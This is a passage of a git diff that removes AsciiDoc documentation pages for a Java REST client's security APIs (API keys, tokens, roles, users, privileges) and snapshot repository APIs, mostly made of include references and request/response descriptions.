-
-===== Specific API key by API key name
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-api-key-name-request]
---------------------------------------------------
-
-===== All API keys for realm
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-realm-api-keys-request]
---------------------------------------------------
-
-===== All API keys for user
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-user-api-keys-request]
---------------------------------------------------
-
-===== All API key for user in realm
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-user-realm-api-keys-request]
---------------------------------------------------
-
-===== Retrieve all API keys for the current authenticated user
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-api-keys-owned-by-authenticated-user-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Invalidate API Key Response
-
-The returned +{response}+ contains the information regarding the API keys that the request
-invalidated.
-
-`invalidatedApiKeys`:: Available using `getInvalidatedApiKeys` lists the API keys
-                      that this request invalidated.
-
-`previouslyInvalidatedApiKeys`:: Available using `getPreviouslyInvalidatedApiKeys` lists the API keys
-                                that this request attempted to invalidate
-                                but were already invalid.
-
-`errors`:: Available using `getErrors` contains possible errors that were encountered while
-           attempting to invalidate API keys.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/invalidate-token.asciidoc b/docs/java-rest/high-level/security/invalidate-token.asciidoc
deleted file mode 100644
index 34969523c7b..00000000000
--- a/docs/java-rest/high-level/security/invalidate-token.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
---
-:api: invalidate-token
-:request: InvalidateTokenRequest
-:response: InvalidateTokenResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Invalidate Token API
-
-[id="{upid}-{api}-request"]
-==== Invalidate Token Request
-The +{request}+ supports invalidating
-
-. A specific token, that can be either an _access token_ or a _refresh token_
-
-. All tokens (both _access tokens_ and _refresh tokens_) for a specific realm
-
-. All tokens (both _access tokens_ and _refresh tokens_) for a specific user
-
-. All tokens (both _access tokens_ and _refresh tokens_) for a specific user in a specific realm
-
-===== Specific access token
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-access-token-request]
---------------------------------------------------
-
-===== Specific refresh token
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-refresh-token-request]
---------------------------------------------------
-
-===== All tokens for realm
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-realm-tokens-request]
---------------------------------------------------
-
-===== All tokens for user
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-user-tokens-request]
---------------------------------------------------
-
-===== All tokens for user in realm
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-user-realm-tokens-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Invalidate Token Response
-
-The returned +{response}+ contains the information regarding the tokens that the request
-invalidated.
-
-`invalidatedTokens`:: Available using `getInvalidatedTokens` denotes the number of tokens
-                      that this request invalidated.
-
-`previouslyInvalidatedTokens`:: Available using `getPreviouslyInvalidatedTokens` denotes
-                                the number of tokens that this request attempted to invalidate
-                                but were already invalid.
-
-`errors`:: Available using `getErrors` contains possible errors that were encountered while
-           attempting to invalidate specific tokens.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/put-privileges.asciidoc b/docs/java-rest/high-level/security/put-privileges.asciidoc
deleted file mode 100644
index ba8d8878e15..00000000000
--- a/docs/java-rest/high-level/security/put-privileges.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: put-privileges
-:request: PutPrivilegesRequest
-:response: PutPrivilegesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put Privileges API
-
-Application privileges can be created or updated using this API.
-
-[id="{upid}-{api}-request"]
-==== Put Privileges Request
-A +{request}+ contains list of application privileges that
-need to be created or updated. Each application privilege
-consists of an application name, application privilege,
-set of actions and optional metadata.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Put Privileges Response
-
-The returned +{response}+ contains the information about the status
-for each privilege present in the +{request}+. The status would be
-`true` if the privilege was created, `false` if the privilege was updated.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The response contains the status for given application name and
-privilege name. The status would be `true` if the privilege was created,
-`false` if the privilege was updated.
diff --git a/docs/java-rest/high-level/security/put-role-mapping.asciidoc b/docs/java-rest/high-level/security/put-role-mapping.asciidoc
deleted file mode 100644
index 819aa776b68..00000000000
--- a/docs/java-rest/high-level/security/put-role-mapping.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[role="xpack"]
-[[java-rest-high-security-put-role-mapping]]
-=== Put Role Mapping API
-
-[[java-rest-high-security-put-role-mapping-execution]]
-==== Execution
-
-Creating and updating a role mapping can be performed using the `security().putRoleMapping()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[put-role-mapping-execute]
---------------------------------------------------
-
-[[java-rest-high-security-put-role-mapping-response]]
-==== Response
-
-The returned `PutRoleMappingResponse` contains a single field, `created`. This field
-serves as an indication if a role mapping was created or if an existing entry was updated.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[put-role-mapping-response]
---------------------------------------------------
-<1> `created` is a boolean indicating whether the role mapping was created or updated
-
-[[java-rest-high-security-put-role-mapping-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously using the `security().putRoleMappingAsync()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[put-role-mapping-execute-async]
---------------------------------------------------
-<1> The `PutRoleMappingRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for a `PutRoleMappingResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[put-role-mapping-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/put-role.asciidoc b/docs/java-rest/high-level/security/put-role.asciidoc
deleted file mode 100644
index d418375237d..00000000000
--- a/docs/java-rest/high-level/security/put-role.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-
---
-:api: put-role
-:request: PutRoleRequest
-:response: PutRoleResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put Role API
-
-[id="{upid}-{api}-request"]
-==== Put Role Request
-
-The +{request}+ class is used to create or update a role in the Native Roles
-Store. The request contains a single role, which encapsulates privileges over
-resources. A role can be assigned to an user using the
-<<{upid}-put-role-mapping, Put Role Mapping API>>.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Put Role Response
-
-The returned +{response}+ contains a single field, `created`. This field
-serves as an indication if the role was created or if an existing entry was
-updated.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `created` is a boolean indicating whether the role was created or updated
diff --git a/docs/java-rest/high-level/security/put-user.asciidoc b/docs/java-rest/high-level/security/put-user.asciidoc
deleted file mode 100644
index bca93244175..00000000000
--- a/docs/java-rest/high-level/security/put-user.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
---
-:api: put-user
-:request: PutUserRequest
-:response: PutUserResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put User API
-
-[id="{upid}-{api}-request"]
-==== Put User Request Request
-
-The +{request}+ class is used to create or update a user in the Native Realm.
-There are 3 different factory methods for creating a request.
-
-===== Create or Update User with a Password
-
-If you wish to create a new user (or update an existing user) and directly specifying the user's new password, use the
-`withPassword` method as shown below:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-password-request]
---------------------------------------------------
-
-===== Create or Update User with a Hashed Password
-
-If you wish to create a new user (or update an existing user) and perform password hashing on the client,
-then use the `withPasswordHash` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-hash-request]
-
---------------------------------------------------
-===== Update a User without changing their password
-
-If you wish to update an existing user, and do not wish to change the user's password,
-then use the `updateUserProperties` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-update-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Put User Response
-
-The returned `PutUserResponse` contains a single field, `created`. This field
-serves as an indication if a user was created or if an existing entry was updated.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[put-user-response]
---------------------------------------------------
-<1> `created` is a boolean indicating whether the user was created or updated
diff --git a/docs/java-rest/high-level/snapshot/create_repository.asciidoc b/docs/java-rest/high-level/snapshot/create_repository.asciidoc
deleted file mode 100644
index 5c545292097..00000000000
--- a/docs/java-rest/high-level/snapshot/create_repository.asciidoc
+++ /dev/null
@@ -1,139 +0,0 @@
-[[java-rest-high-snapshot-create-repository]]
-=== Snapshot Create RepositoryAPI
-
-The Snapshot Create RepositoryAPI allows to register a snapshot repository.
-
-[[java-rest-high-snapshot-create-repository-request]]
-==== Snapshot Create RepositoryRequest
-
-A `PutRepositoryRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request]
---------------------------------------------------
-
-==== Repository Settings
-Settings requirements will differ based on the repository backend chosen.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-repository-settings]
---------------------------------------------------
-<1> Sets the repository settings
-
-==== Providing the Settings
-The settings to be applied can be provided in different ways:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-create-settings]
---------------------------------------------------
-<1> Settings provided as `Settings`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-settings-builder]
---------------------------------------------------
-<1> Settings provided as `Settings.Builder`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-settings-source]
---------------------------------------------------
-<1> Settings provided as `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-settings-map]
---------------------------------------------------
-<1> Settings provided as a `Map`
-
-==== Required Arguments
-The following arguments must be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-name]
---------------------------------------------------
-<1> The name of the repository
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-type]
---------------------------------------------------
-<1> The type of the repository
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-verify]
---------------------------------------------------
-<1> Verify after creation as a `Boolean`
-
-[[java-rest-high-snapshot-create-repository-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-create-repository-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a repository put settings requires both the
-`PutRepositoryRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-execute-async]
---------------------------------------------------
-<1> The `PutRepositoryRequest` to execute and the `ActionListener`
-to use when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `PutRepositoryResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-[[java-rest-high-snapshot-create-repository-response]]
-==== Snapshot Create RepositoryResponse
-
-The returned `PutRepositoryResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-response]
---------------------------------------------------
-<1> Indicates the node has acknowledged the request
diff --git a/docs/java-rest/high-level/snapshot/create_snapshot.asciidoc b/docs/java-rest/high-level/snapshot/create_snapshot.asciidoc
deleted file mode 100644
index 971a6ee4867..00000000000
--- a/docs/java-rest/high-level/snapshot/create_snapshot.asciidoc
+++ /dev/null
@@ -1,132 +0,0 @@
-[[java-rest-high-snapshot-create-snapshot]]
-=== Create Snapshot API
-
-Use the Create Snapshot API to create a new snapshot.
-
-[[java-rest-high-snapshot-create-snapshot-request]]
-==== Create Snapshot Request
-
-A `CreateSnapshotRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request]
---------------------------------------------------
-
-==== Required Arguments
-The following arguments are mandatory:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-repositoryName]
---------------------------------------------------
-<1> The name of the repository.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-snapshotName]
---------------------------------------------------
-<1> The name of the snapshot.
-
-==== Optional Arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-indices]
---------------------------------------------------
-<1> A list of indices the snapshot is applied to.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-indicesOptions]
---------------------------------------------------
-<1> Options applied to the indices.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-partial]
---------------------------------------------------
-<1> Set `partial` to `true` to allow a successful snapshot without the
-availability of all the indices primary shards. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-includeGlobalState]
---------------------------------------------------
-<1> Set `includeGlobalState` to `false` to prevent writing the cluster's global
-state as part of the snapshot. Defaults to `true`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`.
-<2> Timeout to connect to the master node as a `String`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-request-waitForCompletion]
---------------------------------------------------
-<1> Waits for the snapshot to be completed before a response is returned.
-
-[[java-rest-high-snapshot-create-snapshot-sync]]
-==== Synchronous Execution
-
-Execute a `CreateSnapshotRequest` synchronously to receive a `CreateSnapshotResponse`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-execute]
---------------------------------------------------
-
-Retrieve the `SnapshotInfo` from a `CreateSnapshotResponse` when the snapshot is fully created.
-(The `waitForCompletion` parameter is `true`).
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-response-snapshot-info]
---------------------------------------------------
-<1> The `SnapshotInfo` object.
-
-[[java-rest-high-snapshot-create-snapshot-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a create snapshot request requires both the
-`CreateSnapshotRequest` instance and an `ActionListener` instance to be
-passed as arguments to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-execute-async]
---------------------------------------------------
-<1> The `CreateSnapshotRequest` to execute and the `ActionListener` to use when
-the execution completes.
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back with the `onResponse` method
-if the execution is successful or the `onFailure` method if the execution
-failed.
-
-A typical listener for `CreateSnapshotResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument.
-<2> Called in case of a failure. The raised exception is provided as an
-argument.
-
-[[java-rest-high-snapshot-create-snapshot-response]]
-==== Snapshot Create Response
-
-Use the `CreateSnapshotResponse` to retrieve information about the evaluated
-request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-snapshot-response]
---------------------------------------------------
-<1> Indicates the node has started the request.
diff --git a/docs/java-rest/high-level/snapshot/delete_repository.asciidoc b/docs/java-rest/high-level/snapshot/delete_repository.asciidoc
deleted file mode 100644
index e88535f2362..00000000000
--- a/docs/java-rest/high-level/snapshot/delete_repository.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[[java-rest-high-snapshot-delete-repository]]
-=== Snapshot Delete Repository API
-
-The Snapshot Delete Repository API allows to delete a registered repository.
-
-[[java-rest-high-snapshot-delete-repository-request]]
-==== Snapshot Delete Repository Request
-
-A `DeleteRepositoryRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-repository-request]
---------------------------------------------------
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-repository-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-snapshot-delete-repository-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-repository-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-delete-repository-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a snapshot delete repository requires both the
-`DeleteRepositoryRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-repository-execute-async]
---------------------------------------------------
-<1> The `DeleteRepositoryRequest` to execute and the `ActionListener`
-to use when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `DeleteRepositoryResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-repository-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-[[java-rest-high-cluster-delete-repository-response]]
-==== Snapshot Delete Repository Response
-
-The returned `DeleteRepositoryResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-repository-response]
---------------------------------------------------
-<1> Indicates the node has acknowledged the request
diff --git a/docs/java-rest/high-level/snapshot/delete_snapshot.asciidoc b/docs/java-rest/high-level/snapshot/delete_snapshot.asciidoc
deleted file mode 100644
index a594db5b602..00000000000
--- a/docs/java-rest/high-level/snapshot/delete_snapshot.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
-[[java-rest-high-snapshot-delete-snapshot]]
-=== Delete Snapshot API
-
-The Delete Snapshot API allows to delete a snapshot.
-
-[[java-rest-high-snapshot-delete-snapshot-request]]
-==== Delete Snapshot Request
-
-A `DeleteSnapshotRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-snapshot-request]
---------------------------------------------------
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-snapshot-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-snapshot-delete-snapshot-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-snapshot-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-delete-snapshot-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a delete snapshot  request requires both the
-`DeleteSnapshotRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-snapshot-execute-async]
---------------------------------------------------
-<1> The `DeleteSnapshotRequest` to execute and the `ActionListener`
-to use when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `DeleteSnapshotResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-snapshot-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-[[java-rest-high-cluster-delete-snapshot-response]]
-==== Delete Snapshot Response
-
-The returned `DeleteSnapshotResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-snapshot-response]
---------------------------------------------------
-<1> Indicates the node has acknowledged the request
diff --git a/docs/java-rest/high-level/snapshot/get_repository.asciidoc b/docs/java-rest/high-level/snapshot/get_repository.asciidoc
deleted file mode 100644
index af006c66ab0..00000000000
--- a/docs/java-rest/high-level/snapshot/get_repository.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
-[[java-rest-high-snapshot-get-repository]]
-=== Snapshot Get Repository API
-
-The Snapshot Get Repository API allows to retrieve information about a registered repository.
-
-[[java-rest-high-snapshot-get-repository-request]]
-==== Snapshot Get Repository Request
-
-A `GetRepositoriesRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-request]
---------------------------------------------------
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-request-repositories]
---------------------------------------------------
-<1> Sets the repositories to retrieve
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-request-local]
---------------------------------------------------
-<1> The `local` flag (defaults to `false`) controls whether the repositories need
-to be looked up in the local cluster state or in the cluster state held by
-the elected master node
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-snapshot-get-repository-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-get-repository-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a snapshot get repository requires both the
-`GetRepositoriesRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-execute-async]
---------------------------------------------------
-<1> The `GetRepositoriesRequest` to execute and the `ActionListener`
-to use when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `GetRepositoriesResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-[[java-rest-high-cluster-get-repository-response]]
-==== Snapshot Get Repository Response
-
-The returned `GetRepositoriesResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-repository-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/snapshot/get_snapshots.asciidoc b/docs/java-rest/high-level/snapshot/get_snapshots.asciidoc
deleted file mode 100644
index 1041f61d842..00000000000
--- a/docs/java-rest/high-level/snapshot/get_snapshots.asciidoc
+++ /dev/null
@@ -1,108 +0,0 @@
-[[java-rest-high-snapshot-get-snapshots]]
-=== Get Snapshots API
-
-Use the Get Snapshot API to get snapshots.
-
-[[java-rest-high-snapshot-get-snapshots-request]]
-==== Get Snapshots Request
-
-A `GetSnapshotsRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-request]
---------------------------------------------------
-
-==== Required Arguments
-The following arguments are mandatory:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-request-repositoryName]
---------------------------------------------------
-<1> The name of the repository.
-
-==== Optional Arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-request-snapshots]
---------------------------------------------------
-<1> An array of snapshots to get. Otherwise it will return all snapshots for a repository.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-request-masterTimeout]
---------------------------------------------------
